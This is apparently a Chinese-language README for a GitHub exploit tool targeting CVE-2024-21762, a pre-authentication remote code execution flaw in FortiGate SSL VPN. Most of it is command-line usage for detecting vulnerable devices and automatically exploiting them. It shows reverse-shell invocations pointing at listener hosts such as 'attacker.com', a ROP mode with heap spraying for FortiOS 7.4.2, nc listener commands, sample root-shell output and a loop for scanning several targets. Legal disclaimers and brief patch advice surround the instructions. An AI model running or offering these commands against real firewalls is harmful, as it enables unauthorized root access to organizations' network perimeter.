针对CVE-2024-21762的检测与利用工具 - FortiGate SSL VPN 严重漏洞
⚠️ 法律声明:本工具仅供在授权测试环境中使用。未经授权在系统上使用是非法的,可能导致严重的法律后果。
CVE-2024-21762 是 FortiGate SSL VPN 组件中的一个严重漏洞,允许预认证远程代码执行(RCE)。该漏洞存在于对使用 Transfer-Encoding: chunked 的 HTTP 请求的解析中,导致 sslvpnd 组件发生越界写入。
| 属性 | 信息 |
|---|---|
| CVE ID | CVE-2024-21762 |
| 漏洞类型 | sslvpnd 越界写入 |
| 类型 | 预认证远程代码执行(RCE) |
| CVSS 评分 | 9.8(严重) |
| 受影响组件 | FortiOS SSL VPN |
| 受影响版本 | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ 漏洞检测 - 通过畸形请求识别易受攻击的 FortiGate 设备
✅ 基线测试 - 在进行测试前验证服务器的正常行为
✅ 自动模式 - 自动检测并利用漏洞
✅ 反向 Shell - 支持带 IP/端口配置的 bash 反向 shell
✅ 输入验证 - 利用前验证 IP 和端口
✅ 详细报告 - 生成包含修复建议的报告
✅ 健壮的错误处理 - 安全的连接管理和异常处理
# 克隆仓库
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# 检查语法
python -m py_compile EXPLOIT.py
# 运行脚本
python EXPLOIT.py -h
# 简单的检测测试
python EXPLOIT.py 192.168.1.100
# 指定自定义端口
python EXPLOIT.py 192.168.1.100 -p 8443
# 增加超时时间
python EXPLOIT.py 192.168.1.100 --timeout 20
# 自动模式,预配置反向 shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# 自动模式,无凭据(交互式提示)
python EXPLOIT.py 192.168.1.100 --auto
ROP 模式对特定目标(FortiOS 7.4.2)实施了两阶段利用,带堆喷射:
# ROP 利用,带 Node.js 反向 shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# 指定自定义端口
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# 针对慢速目标增加超时
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
ROP 利用流程:
在您的监听服务器上:
# Linux/Mac/Windows 使用 netcat
nc -lnvp 4242
# 预期输出:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ 重要说明: ROP 模式针对 FortiOS 7.4.2.F-build2571 优化。由于 ROP 链的硬编码偏移,其他版本可能无法工作。
# 发送反向 shell payload
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# 多选项组合
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target 要测试的目标主机名或 IP
optional arguments:
-h, --help 显示此帮助信息
-t, --target HOSTNAME 目标主机名或 IP(替代方式)
-p, --port PORT SSL VPN 端口(默认:443)
--timeout SECONDS 超时秒数(默认:10)
-li, --lhost IP 接收反向 shell 的本地 IP
-lp, --lport PORT 接收反向 shell 的本地端口
--no-baseline 跳过基线测试
--auto 自动模式:检测并利用
--rop ROP 模式:高级利用,带堆喷射(FortiOS 7.4.2)
-v, --version 显示脚本版本
python EXPLOIT.py 192.168.1.100
检测到漏洞时的预期结果:
[+] 开始漏洞测试...
[!] 检测到易受攻击!
[!] 服务器突然关闭连接
[!] 状态:易受攻击
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
在您的服务器上:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
当检测到以下任一行为时,工具判定目标存在漏洞:
更新 FortiOS 到修复版本:
临时隔离
监控
# 检查 FortiOS 版本
python EXPLOIT.py 您的-fortinet.com
如果结果显示“不存在漏洞”,则补丁已成功应用。
CVE-2024-21762/
├── EXPLOIT.py # 主利用脚本
├── README.md # 本文件
├── LICENSE # MIT 许可证
└── .gitignore # Git 配置
该工具实现了:
问:可以在 Windows 环境中使用吗?
答:可以,Python 脚本可在 Windows 上运行,但默认的 bash 反向 shell 无法工作。您需要自定义 payload。
问:如何知道利用是否成功?
答:检查正在监听反向 shell 的机器(nc/ncat)。脚本会显示进度消息。
问:可以针对多个目标使用吗?
答:可以,您可以创建 bash/PowerShell 脚本遍历 IP 列表。
问:普通模式和自动模式有什么区别?
答:自动模式在发现漏洞后会自动利用;普通模式仅检测。
发现 bug 或有建议?请提交 issue 或发起 pull request!
本项目采用 MIT 许可证 - 详见 LICENSE 文件。
本软件按“原样”提供,仅用于研究和授权测试。作者不承担以下责任:
请负责任地使用,且仅在授权环境中使用
为网络安全教育和研究目的而开发。
⚠️ 记住:仅将此工具用于您拥有或已获明确授权的系统。未经授权的利用是违法的。
| 版本 | 检测 | ROP 模式 | 状态 |
|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ 是 | ❌ 否 | ⚠️ 存在漏洞 |
| FortiOS 7.2.0 - 7.2.6 | ✅ 是 | ❌ 否 | ⚠️ 存在漏洞 |
| FortiOS 7.4.0 - 7.4.1 | ✅ 是 | ❌ 否 | ⚠️ 存在漏洞 |
| FortiOS 7.4.2 (build≤2571) | ✅ 是 | ✅ 是 | ⚠️ 存在漏洞 |
| FortiOS 7.4.3+ | ❌ 否 | ❌ 否 | ✅ 已修复 |
| 方法 | 描述 |
|---|
test_vulnerability() | 通过发送畸形请求测试漏洞 |
exploit(lhost, lport) | 利用漏洞获取反向 shell |
test_baseline() | 测试服务器正常行为 |
generate_report() | 生成包含状态的最终报告 |
_create_ssl_context() | 创建可复用的 SSL 上下文 |
_create_socket_connection() | 创建安全的 TLS 连接 |
_close_socket(sock) | 安全关闭 socket |
_is_valid_ip(ip_str) | 验证 IP 格式 |